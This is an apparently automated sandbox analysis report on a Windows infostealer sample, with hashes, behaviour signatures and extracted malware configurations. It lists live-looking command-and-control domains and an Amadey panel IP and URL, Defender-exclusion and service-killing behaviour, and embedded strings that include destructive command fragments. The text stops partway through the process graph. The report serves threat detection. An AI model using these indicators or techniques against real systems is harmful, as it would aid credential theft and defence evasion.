File name:

random.exe

Full analysis: https://app.any.run/tasks/84323dd7-d4b8-408c-ba5d-58cd3b4e5d60
Verdict: Malicious activity
Threats:

Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks.

Malware Trends Tracker     >>>
Analysis date: May 17, 2025, 07:25:23
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
lumma
stealer
themida
loader
amadey
botnet
telegram
vidar
gcleaner
rdp
auto-sch
credentialflusher
auto
generic
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 7 sections
MD5:

652A93C98869279A911EEE1C960ED7CD

SHA1:

42E566AAAE6CF3A410FA00DEC87A3857DED8333E

SHA256:

30FC2960F2F2D22A93D2EEA95401B32F71D1E067E05D08FAAA564AAFE7510385

SSDEEP:

98304:IlgxjxK8lMK3LP1Y0g/QrMy1JdSKHOmLYLGDVrH4oQCj4UjRUhNM9SmCM3/tAPFE:

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • LUMMA has been detected (SURICATA)

      • svchost.exe (PID: 2196)
      • random.exe (PID: 7328)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)
      • 06d8593d69.exe (PID: 7408)

    • Steals credentials from Web Browsers

      • random.exe (PID: 7328)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)

    • AMADEY mutex has been found

      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • ramez.exe (PID: 6272)

    • LUMMA mutex has been found

      • random.exe (PID: 7328)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)

    • Connects to the CnC server

      • svchost.exe (PID: 2196)
      • ramez.exe (PID: 5216)

    • Actions looks like stealing of personal data

      • random.exe (PID: 7328)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)

    • LUMMA has been detected (YARA)

      • random.exe (PID: 7328)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)

    • AMADEY has been detected (SURICATA)

      • ramez.exe (PID: 5216)

    • Executing a file with an untrusted certificate

      • BhEXzVm.exe (PID: 5956)
      • BhEXzVm.exe (PID: 4988)
      • vQpOH7o.exe (PID: 7492)
      • vQpOH7o.exe (PID: 4000)
      • dd616911ac.exe (PID: 2332)

    • AMADEY has been detected (YARA)

      • ramez.exe (PID: 5216)

    • Adds path to the Windows Defender exclusion list

      • cmd.exe (PID: 8048)
      • NSudoLG.exe (PID: 728)

    • Changes Windows Defender settings

      • NSudoLG.exe (PID: 728)

    • VIDAR mutex has been found

      • MSBuild.exe (PID: 7268)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 8700)

    • GCLEANER has been detected (SURICATA)

      • cvtres.exe (PID: 1132)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 672)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 10468)
      • powershell.exe (PID: 8468)

    • Possible tool for stealing has been detected

      • 085ed3a5b2.exe (PID: 9828)
      • firefox.exe (PID: 9904)

    • Request from PowerShell that ran from MSHTA.EXE

      • powershell.exe (PID: 10468)
      • powershell.exe (PID: 8468)

    • GENERIC has been found (auto)

      • cvtres.exe (PID: 1132)

  • SUSPICIOUS

    • Reads the BIOS version

      • random.exe (PID: 7328)
      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • ramez.exe (PID: 6272)

    • Contacting a server suspected of hosting an CnC

      • random.exe (PID: 7328)
      • svchost.exe (PID: 2196)
      • ramez.exe (PID: 5216)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)
      • 06d8593d69.exe (PID: 7408)

    • Potential Corporate Privacy Violation

      • random.exe (PID: 7328)
      • ramez.exe (PID: 5216)
      • 06d8593d69.exe (PID: 7408)
      • powershell.exe (PID: 10468)
      • powershell.exe (PID: 8468)
      • cvtres.exe (PID: 1132)

    • Connects to the server without a host name

      • random.exe (PID: 7328)
      • ramez.exe (PID: 5216)
      • cvtres.exe (PID: 1132)
      • powershell.exe (PID: 10468)
      • powershell.exe (PID: 8468)

    • Executable content was dropped or overwritten

      • random.exe (PID: 7328)
      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • dbde144ea3.exe (PID: 7832)
      • 7z.exe (PID: 6808)
      • Unlocker.exe (PID: 736)
      • 1777286cff.exe (PID: 5324)
      • 1777286cff.tmp (PID: 6300)
      • cmd.exe (PID: 8048)
      • csc.exe (PID: 8540)
      • 7z.exe (PID: 7516)
      • csc.exe (PID: 8156)
      • csc.exe (PID: 9088)
      • powershell.exe (PID: 10468)
      • csc.exe (PID: 11304)
      • 06d8593d69.exe (PID: 7408)
      • csc.exe (PID: 3828)
      • csc.exe (PID: 11756)
      • csc.exe (PID: 10996)
      • csc.exe (PID: 11924)
      • csc.exe (PID: 11388)
      • csc.exe (PID: 7400)
      • cvtres.exe (PID: 1132)

    • Process requests binary or script from the Internet

      • random.exe (PID: 7328)
      • ramez.exe (PID: 5216)
      • powershell.exe (PID: 10468)
      • powershell.exe (PID: 8468)

    • Searches for installed software

      • random.exe (PID: 7328)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)

    • Starts itself from another location

      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)

    • Reads security settings of Internet Explorer

      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • dbde144ea3.exe (PID: 7832)
      • nircmd.exe (PID: 5384)
      • Unlocker.exe (PID: 7912)
      • Unlocker.exe (PID: 736)
      • 1777286cff.tmp (PID: 6300)
      • MSBuild.exe (PID: 7268)

    • Process drops legitimate windows executable

      • ramez.exe (PID: 5216)
      • cmd.exe (PID: 8048)

    • Starts a Microsoft application from unusual location

      • BhEXzVm.exe (PID: 5956)
      • BhEXzVm.exe (PID: 4988)

    • There is functionality for enable RDP (YARA)

      • ramez.exe (PID: 5216)

    • The process executes via Task Scheduler

      • ramez.exe (PID: 6272)
      • ramez.exe (PID: 11184)

    • There is functionality for taking screenshot (YARA)

      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)

    • The process creates files with name similar to system file names

      • dbde144ea3.exe (PID: 7832)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 7860)
      • dbde144ea3.exe (PID: 7832)
      • nircmd.exe (PID: 5384)
      • NSudoLG.exe (PID: 7480)
      • cmd.exe (PID: 6632)
      • cmd.exe (PID: 8048)
      • Unlocker.exe (PID: 7912)
      • Unlocker.exe (PID: 736)
      • cmd.exe (PID: 1568)
      • Unlocker.exe (PID: 1072)
      • 21534b5f67.exe (PID: 8736)
      • cmd.exe (PID: 8776)
      • NSudoLG.exe (PID: 4056)
      • cmd.exe (PID: 8608)
      • nircmd.exe (PID: 8956)
      • cmd.exe (PID: 9048)
      • Unlocker.exe (PID: 8564)
      • cmd.exe (PID: 8700)
      • Unlocker.exe (PID: 9368)
      • e72ecd715b.exe (PID: 10108)

    • Executing commands from a ".bat" file

      • dbde144ea3.exe (PID: 7832)
      • cmd.exe (PID: 7860)
      • cmd.exe (PID: 1568)
      • nircmd.exe (PID: 5384)
      • NSudoLG.exe (PID: 7480)
      • cmd.exe (PID: 6632)
      • 21534b5f67.exe (PID: 8736)
      • cmd.exe (PID: 8776)
      • NSudoLG.exe (PID: 4056)
      • cmd.exe (PID: 8608)
      • nircmd.exe (PID: 8956)
      • cmd.exe (PID: 9048)

    • Application launched itself

      • cmd.exe (PID: 7860)
      • cmd.exe (PID: 6632)
      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 1568)
      • cmd.exe (PID: 8776)
      • cmd.exe (PID: 8608)
      • cmd.exe (PID: 9048)
      • cmd.exe (PID: 8700)

    • The executable file from the user directory is run by the CMD process

      • NSudoLG.exe (PID: 7480)
      • nircmd.exe (PID: 5384)
      • NSudoLG.exe (PID: 728)
      • 7z.exe (PID: 6808)
      • Unlocker.exe (PID: 7912)
      • Unlocker.exe (PID: 736)
      • Unlocker.exe (PID: 1072)
      • nircmd.exe (PID: 8956)
      • NSudoLG.exe (PID: 4056)
      • 7z.exe (PID: 7516)
      • Unlocker.exe (PID: 8564)
      • Unlocker.exe (PID: 9368)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 736)
      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 9116)
      • cmd.exe (PID: 8700)

    • Starts application with an unusual extension

      • cmd.exe (PID: 5776)
      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 736)
      • cmd.exe (PID: 8840)
      • cmd.exe (PID: 9116)
      • cmd.exe (PID: 8700)

    • Reads the date of Windows installation

      • nircmd.exe (PID: 5384)
      • Unlocker.exe (PID: 7912)
      • Unlocker.exe (PID: 736)

    • Get information on the list of running processes

      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 2644)
      • cmd.exe (PID: 8700)
      • cmd.exe (PID: 8856)

    • Script adds exclusion path to Windows Defender

      • NSudoLG.exe (PID: 728)

    • Starts POWERSHELL.EXE for commands execution

      • NSudoLG.exe (PID: 728)
      • MSBuild.exe (PID: 7268)
      • mshta.exe (PID: 8408)
      • mshta.exe (PID: 8448)

    • Using 'findstr.exe' to search for text patterns in files and output

      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 8700)

    • PowerShell delay command usage (probably sleep evasion)

      • powershell.exe (PID: 6584)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 2240)
      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 8076)
      • cmd.exe (PID: 5512)
      • cmd.exe (PID: 7316)
      • cmd.exe (PID: 9064)
      • cmd.exe (PID: 8700)
      • cmd.exe (PID: 9560)

    • Windows service management via SC.EXE

      • sc.exe (PID: 6752)
      • sc.exe (PID: 7444)
      • sc.exe (PID: 7996)
      • sc.exe (PID: 7392)
      • sc.exe (PID: 1276)
      • sc.exe (PID: 5008)
      • sc.exe (PID: 2420)
      • sc.exe (PID: 2984)
      • sc.exe (PID: 7360)
      • sc.exe (PID: 7908)
      • sc.exe (PID: 856)
      • sc.exe (PID: 7912)
      • sc.exe (PID: 8188)
      • sc.exe (PID: 7436)
      • sc.exe (PID: 7444)
      • sc.exe (PID: 7992)
      • sc.exe (PID: 7976)
      • sc.exe (PID: 7476)
      • sc.exe (PID: 3848)
      • sc.exe (PID: 5304)
      • sc.exe (PID: 7692)
      • sc.exe (PID: 7628)
      • sc.exe (PID: 1676)
      • sc.exe (PID: 5736)
      • sc.exe (PID: 1672)
      • sc.exe (PID: 5960)
      • sc.exe (PID: 3676)
      • sc.exe (PID: 2236)
      • sc.exe (PID: 2440)
      • sc.exe (PID: 2404)
      • sc.exe (PID: 7820)
      • sc.exe (PID: 720)
      • sc.exe (PID: 1852)
      • sc.exe (PID: 8028)
      • sc.exe (PID: 6632)
      • sc.exe (PID: 3100)
      • sc.exe (PID: 2088)
      • sc.exe (PID: 6872)
      • sc.exe (PID: 7920)
      • sc.exe (PID: 924)
      • sc.exe (PID: 7904)
      • sc.exe (PID: 3760)
      • sc.exe (PID: 9420)
      • sc.exe (PID: 9380)
      • sc.exe (PID: 9460)
      • sc.exe (PID: 9584)
      • sc.exe (PID: 9504)
      • sc.exe (PID: 9544)
      • sc.exe (PID: 9624)
      • sc.exe (PID: 9340)
      • sc.exe (PID: 9748)
      • sc.exe (PID: 9832)
      • sc.exe (PID: 9788)
      • sc.exe (PID: 9872)
      • sc.exe (PID: 9912)
      • sc.exe (PID: 9952)
      • sc.exe (PID: 9996)
      • sc.exe (PID: 9664)
      • sc.exe (PID: 9704)
      • sc.exe (PID: 10116)
      • sc.exe (PID: 10160)
      • sc.exe (PID: 10200)
      • sc.exe (PID: 9232)
      • sc.exe (PID: 8196)
      • sc.exe (PID: 9036)
      • sc.exe (PID: 9384)
      • sc.exe (PID: 9336)
      • sc.exe (PID: 9476)
      • sc.exe (PID: 10036)
      • sc.exe (PID: 10076)
      • sc.exe (PID: 8400)
      • sc.exe (PID: 9328)
      • sc.exe (PID: 9536)
      • sc.exe (PID: 9592)
      • sc.exe (PID: 9672)
      • sc.exe (PID: 9236)
      • sc.exe (PID: 8236)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 6576)
      • cmd.exe (PID: 5728)
      • cmd.exe (PID: 5576)
      • cmd.exe (PID: 9244)
      • cmd.exe (PID: 9760)
      • 085ed3a5b2.exe (PID: 9828)

    • Drops 7-zip archiver for unpacking

      • dbde144ea3.exe (PID: 7832)

    • Drops a system driver (possible attempt to evade defenses)

      • Unlocker.exe (PID: 736)

    • Reads the Windows owner or organization settings

      • 1777286cff.tmp (PID: 6300)

    • Stops a currently running service

      • sc.exe (PID: 920)
      • sc.exe (PID: 6676)
      • sc.exe (PID: 3008)
      • sc.exe (PID: 6972)
      • sc.exe (PID: 7468)
      • sc.exe (PID: 2664)
      • sc.exe (PID: 7812)
      • sc.exe (PID: 5756)
      • sc.exe (PID: 8144)
      • sc.exe (PID: 6108)
      • sc.exe (PID: 960)
      • sc.exe (PID: 5072)
      • sc.exe (PID: 2804)
      • sc.exe (PID: 7284)
      • sc.exe (PID: 664)
      • sc.exe (PID: 6192)
      • sc.exe (PID: 6068)
      • sc.exe (PID: 9440)
      • sc.exe (PID: 9524)
      • sc.exe (PID: 9604)
      • sc.exe (PID: 9360)
      • sc.exe (PID: 9768)
      • sc.exe (PID: 9852)
      • sc.exe (PID: 9932)
      • sc.exe (PID: 10016)
      • sc.exe (PID: 9684)
      • sc.exe (PID: 10096)
      • sc.exe (PID: 10180)
      • sc.exe (PID: 9180)
      • sc.exe (PID: 8872)
      • sc.exe (PID: 9432)
      • sc.exe (PID: 9332)
      • sc.exe (PID: 9580)

    • Creates or modifies Windows services

      • Unlocker.exe (PID: 736)

    • Executes application which crashes

      • core.exe (PID: 1180)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • MSBuild.exe (PID: 7268)
      • MSBuild.exe (PID: 7856)

    • Deletes scheduled task without confirmation

      • schtasks.exe (PID: 6512)
      • schtasks.exe (PID: 7932)
      • schtasks.exe (PID: 7968)
      • schtasks.exe (PID: 6576)
      • schtasks.exe (PID: 7356)
      • schtasks.exe (PID: 9680)
      • schtasks.exe (PID: 9720)
      • schtasks.exe (PID: 9736)
      • schtasks.exe (PID: 9776)
      • schtasks.exe (PID: 9816)

    • CSC.EXE is used to compile C# code

      • csc.exe (PID: 8540)
      • csc.exe (PID: 8156)
      • csc.exe (PID: 9088)
      • csc.exe (PID: 11304)
      • csc.exe (PID: 11756)
      • csc.exe (PID: 3828)
      • csc.exe (PID: 10996)
      • csc.exe (PID: 11924)
      • csc.exe (PID: 11388)
      • csc.exe (PID: 7400)

    • BASE64 encoded PowerShell command has been detected

      • MSBuild.exe (PID: 7268)

    • Base64-obfuscated command line is found

      • MSBuild.exe (PID: 7268)

    • The process bypasses the loading of PowerShell profile settings

      • MSBuild.exe (PID: 7268)

    • The process hide an interactive prompt from the user

      • MSBuild.exe (PID: 7268)

    • Uses TASKKILL.EXE to kill Browsers

      • 085ed3a5b2.exe (PID: 9828)

    • Probably download files using WebClient

      • mshta.exe (PID: 8408)
      • mshta.exe (PID: 8448)

    • Starts process via Powershell

      • powershell.exe (PID: 10468)
      • powershell.exe (PID: 8468)

    • Found IP address in command line

      • powershell.exe (PID: 10468)
      • powershell.exe (PID: 8468)

    • Manipulates environment variables

      • powershell.exe (PID: 10468)
      • powershell.exe (PID: 8468)

  • INFO

    • Checks supported languages

      • random.exe (PID: 7328)
      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • BhEXzVm.exe (PID: 5956)
      • BhEXzVm.exe (PID: 4988)
      • MSBuild.exe (PID: 5164)
      • ramez.exe (PID: 6272)
      • MSBuild.exe (PID: 5864)
      • vQpOH7o.exe (PID: 7492)
      • vQpOH7o.exe (PID: 4000)
      • dbde144ea3.exe (PID: 7832)
      • chcp.com (PID: 7928)
      • chcp.com (PID: 7404)
      • nircmd.exe (PID: 5384)
      • NSudoLG.exe (PID: 7480)
      • chcp.com (PID: 7976)
      • mode.com (PID: 6620)
      • NSudoLG.exe (PID: 728)
      • dd616911ac.exe (PID: 2332)
      • 7z.exe (PID: 6808)
      • Unlocker.exe (PID: 7912)
      • Unlocker.exe (PID: 736)
      • IObitUnlocker.exe (PID: 2384)
      • 1777286cff.exe (PID: 5324)
      • core.exe (PID: 1180)
      • info.exe (PID: 1512)
      • IObitUnlocker.exe (PID: 6252)
      • 1777286cff.tmp (PID: 6300)
      • 0414f6343a.exe (PID: 7744)
      • MSBuild.exe (PID: 7268)
      • cvtres.exe (PID: 1132)

    • Reads the software policy settings

      • random.exe (PID: 7328)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)
      • MSBuild.exe (PID: 7268)

    • Reads the computer name

      • random.exe (PID: 7328)
      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • MSBuild.exe (PID: 5164)
      • MSBuild.exe (PID: 5864)
      • dbde144ea3.exe (PID: 7832)
      • nircmd.exe (PID: 5384)
      • NSudoLG.exe (PID: 7480)
      • NSudoLG.exe (PID: 728)
      • 7z.exe (PID: 6808)
      • Unlocker.exe (PID: 7912)
      • Unlocker.exe (PID: 736)
      • IObitUnlocker.exe (PID: 2384)
      • 1777286cff.tmp (PID: 6300)
      • IObitUnlocker.exe (PID: 6252)
      • dd616911ac.exe (PID: 2332)
      • MSBuild.exe (PID: 7268)

    • Create files in a temporary directory

      • random.exe (PID: 7328)
      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • dbde144ea3.exe (PID: 7832)
      • 7z.exe (PID: 6808)
      • 1777286cff.exe (PID: 5324)
      • 1777286cff.tmp (PID: 6300)

    • Process checks computer location settings

      • FFGPLYTATCEMBNES278OECJB.exe (PID: 7972)
      • ramez.exe (PID: 5216)
      • dbde144ea3.exe (PID: 7832)
      • nircmd.exe (PID: 5384)
      • 1777286cff.tmp (PID: 6300)

    • Checks proxy server information

      • ramez.exe (PID: 5216)
      • MSBuild.exe (PID: 7268)

    • Themida protector has been detected

      • random.exe (PID: 7328)
      • ramez.exe (PID: 5216)

    • Creates files or folders in the user directory

      • ramez.exe (PID: 5216)
      • 1777286cff.tmp (PID: 6300)
      • MSBuild.exe (PID: 7268)
      • WerFault.exe (PID: 3332)

    • The sample compiled with english language support

      • ramez.exe (PID: 5216)
      • dbde144ea3.exe (PID: 7832)
      • Unlocker.exe (PID: 736)
      • cmd.exe (PID: 8048)

    • Changes the display of characters in the console

      • cmd.exe (PID: 5776)
      • cmd.exe (PID: 736)
      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 8840)
      • cmd.exe (PID: 9116)
      • cmd.exe (PID: 8700)

    • NirSoft software is detected

      • nircmd.exe (PID: 5384)
      • nircmd.exe (PID: 8956)

    • Checks operating system version

      • cmd.exe (PID: 8048)
      • cmd.exe (PID: 8700)

    • Starts MODE.COM to configure console settings

      • mode.com (PID: 6620)
      • mode.com (PID: 8716)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 6584)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6584)

    • Reads the machine GUID from the registry

      • Unlocker.exe (PID: 7912)
      • Unlocker.exe (PID: 736)
      • dd616911ac.exe (PID: 2332)
      • MSBuild.exe (PID: 7268)

    • Creates a software uninstall entry

      • 1777286cff.tmp (PID: 6300)

    • Manual execution by a user

      • cvtres.exe (PID: 1132)
      • mshta.exe (PID: 8448)

    • Creates files in the program directory

      • MSBuild.exe (PID: 7268)

    • Application launched itself

      • chrome.exe (PID: 2444)
      • chrome.exe (PID: 10008)
      • chrome.exe (PID: 8604)
      • chrome.exe (PID: 10656)
      • firefox.exe (PID: 10396)
      • firefox.exe (PID: 9904)
      • chrome.exe (PID: 9860)
      • chrome.exe (PID: 12012)
      • chrome.exe (PID: 11000)
      • chrome.exe (PID: 5112)
      • chrome.exe (PID: 540)
      • chrome.exe (PID: 3992)

    • Auto-launch of the file from Task Scheduler

      • cmd.exe (PID: 672)

    • The executable file from the user directory is run by the Powershell process

      • TempBKRCYUTOERMAXS1KB10URKT6ILIPFUZA.EXE (PID: 11996)
      • TempBKRCYUTOERMAXS1KB10URKT6ILIPFUZA.EXE (PID: 12248)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Lumma

(PID) Process(7328) random.exe
C2 (9)onehunqpom.life/zpxd
narrathfpt.top/tekq
featurlyin.top/pdal
overcovtcg.top/juhd
laminaflbx.shop/twoq
cornerdurv.top/adwq
posseswsnc.top/akds
jackthyfuc.run/xpas
blackswmxc.top/bgry
(PID) Process(5164) MSBuild.exe
C2 (8)overcovtcg.top/juhd
ninepicchf.bet/lznd
zmedtipp.live/mnvzx
voznessxyy.life/bnaz
blackljjwc.run/banj
interpwthc.digital/juab
blackswmxc.top/bgry
clatteqrpq.digital/kljz
(PID) Process(5864) MSBuild.exe
C2 (8)overcovtcg.top/juhd
ninepicchf.bet/lznd
zmedtipp.live/mnvzx
voznessxyy.life/bnaz
blackljjwc.run/banj
interpwthc.digital/juab
blackswmxc.top/bgry
clatteqrpq.digital/kljz

Amadey

(PID) Process(5216) ramez.exe
C2185.156.72.96
URLhttp://185.156.72.96/te4h2nus/index.php
Version5.34
Options
Drop directoryd610cf342e
Drop nameramez.exe
Strings (125)lv:
msi
Kaspersky Lab
av:
|
#
"
\App
00000422
dm:
Powershell.exe
ProgramData\
ps1
rundll32
http://
Content-Disposition: form-data; name="data"; filename="
SOFTWARE\Microsoft\Windows NT\CurrentVersion
dll
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
id:
VideoID
cred.dll|clip.dll|
0000043f
cmd
00000423
SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
-executionpolicy remotesigned -File "
2022
------
2016
og:
\0000
CurrentBuild
2019
:::
S-%lu-
" && timeout 1 && del
ProductName
Panda Security
ESET
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/k
+++
?scr=1
Doctor Web
GET
SYSTEM\ControlSet001\Services\BasicDisplay\Video
/quiet
.jpg
d610cf342e
vs:
sd:
rundll32.exe
"taskkill /f /im "
pc:
random
=
360TotalSecurity
<d>
wb
Content-Type: multipart/form-data; boundary=----
Startup
Norton
&& Exit"
os:
https://
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
2025
Avira
%-lu
zip
POST
" Content-Type: application/octet-stream
Rem
/te4h2nus/index.php
------
5.34
<c>
clip.dll
AVAST Software
\
shell32.dll
" && ren
e3
ramez.exe
kernel32.dll
DefaultSettings.XResolution
d1
DefaultSettings.YResolution
185.156.72.96
r=
cred.dll
--
GetNativeSystemInfo
-%lu
ComputerName
&unit=
Keyboard Layout\Preload
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
ar:
Sophos
%USERPROFILE%
exe
e1
e2
st=s
Programs
0123456789
un:
rb
bi:
abcdefghijklmnopqrstuvwxyz0123456789-_
SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
cmd /C RMDIR /s/q
Bitdefender
-unicode-
AVG
WinDefender
&&
shutdown -s -t 0
Comodo
00000419
Content-Type: application/x-www-form-urlencoded
/Plugins/
Main
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2025:05:15 15:45:51+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14
CodeSize: 322560
InitializedDataSize: 38400
UninitializedDataSize: -
EntryPoint: 0x4bc000
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
672
Monitored processes
530
Malicious processes
39
Suspicious processes
11

Behavior graph

Click at the process to see the details
start #LUMMA random.exe #LUMMA svchost.exe sppextcomobj.exe no specs slui.exe ffgplytatcembnes278oecjb.exe #AMADEY ramez.exe bhexzvm.exe no specs #LUMMA msbuild.exe bhexzvm.exe no specs msbuild.exe no specs #LUMMA msbuild.exe ramez.exe no specs vqpoh7o.exe no specs vqpoh7o.exe no specs dbde144ea3.exe cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs nircmd.exe no specs cmd.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs reg.exe no specs nsudolg.exe no specs cmd.exe conhost.exe no specs cmd.exe conhost.exe no specs chcp.com no specs reg.exe no specs reg.exe no specs mode.com no specs cmd.exe no specs reg.exe no specs find.exe no specs cmd.exe no specs tasklist.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs find.exe no specs nsudolg.exe no specs powershell.exe no specs conhost.exe no specs dd616911ac.exe no specs reg.exe no specs find.exe no specs cmd.exe no specs findstr.exe no specs 7z.exe unlocker.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs sc.exe no specs find.exe no specs sc.exe no specs sc.exe no specs unlocker.exe cmd.exe no specs conhost.exe no specs sc.exe no specs iobitunlocker.exe no specs 1777286cff.exe 1777286cff.tmp info.exe conhost.exe no specs core.exe iobitunlocker.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs #VIDAR msbuild.exe 0414f6343a.exe no specs conhost.exe no specs werfault.exe no specs #GCLEANER cvtres.exe msbuild.exe no specs msbuild.exe sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs unlocker.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs sc.exe no specs sc.exe no specs #LUMMA 06d8593d69.exe chrome.exe powershell.exe no specs conhost.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs csc.exe chrome.exe no specs chrome.exe no specs cvtres.exe no specs 21534b5f67.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs nircmd.exe no specs cmd.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs reg.exe no specs nsudolg.exe no specs cmd.exe conhost.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs reg.exe no specs reg.exe no specs mode.com no specs cmd.exe no specs reg.exe no specs find.exe no specs cmd.exe no specs tasklist.exe no specs chrome.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs find.exe no specs cmd.exe no specs findstr.exe no specs 7z.exe unlocker.exe no specs slui.exe no specs cmd.exe no specs conhost.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs taskkill.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs reg.exe no 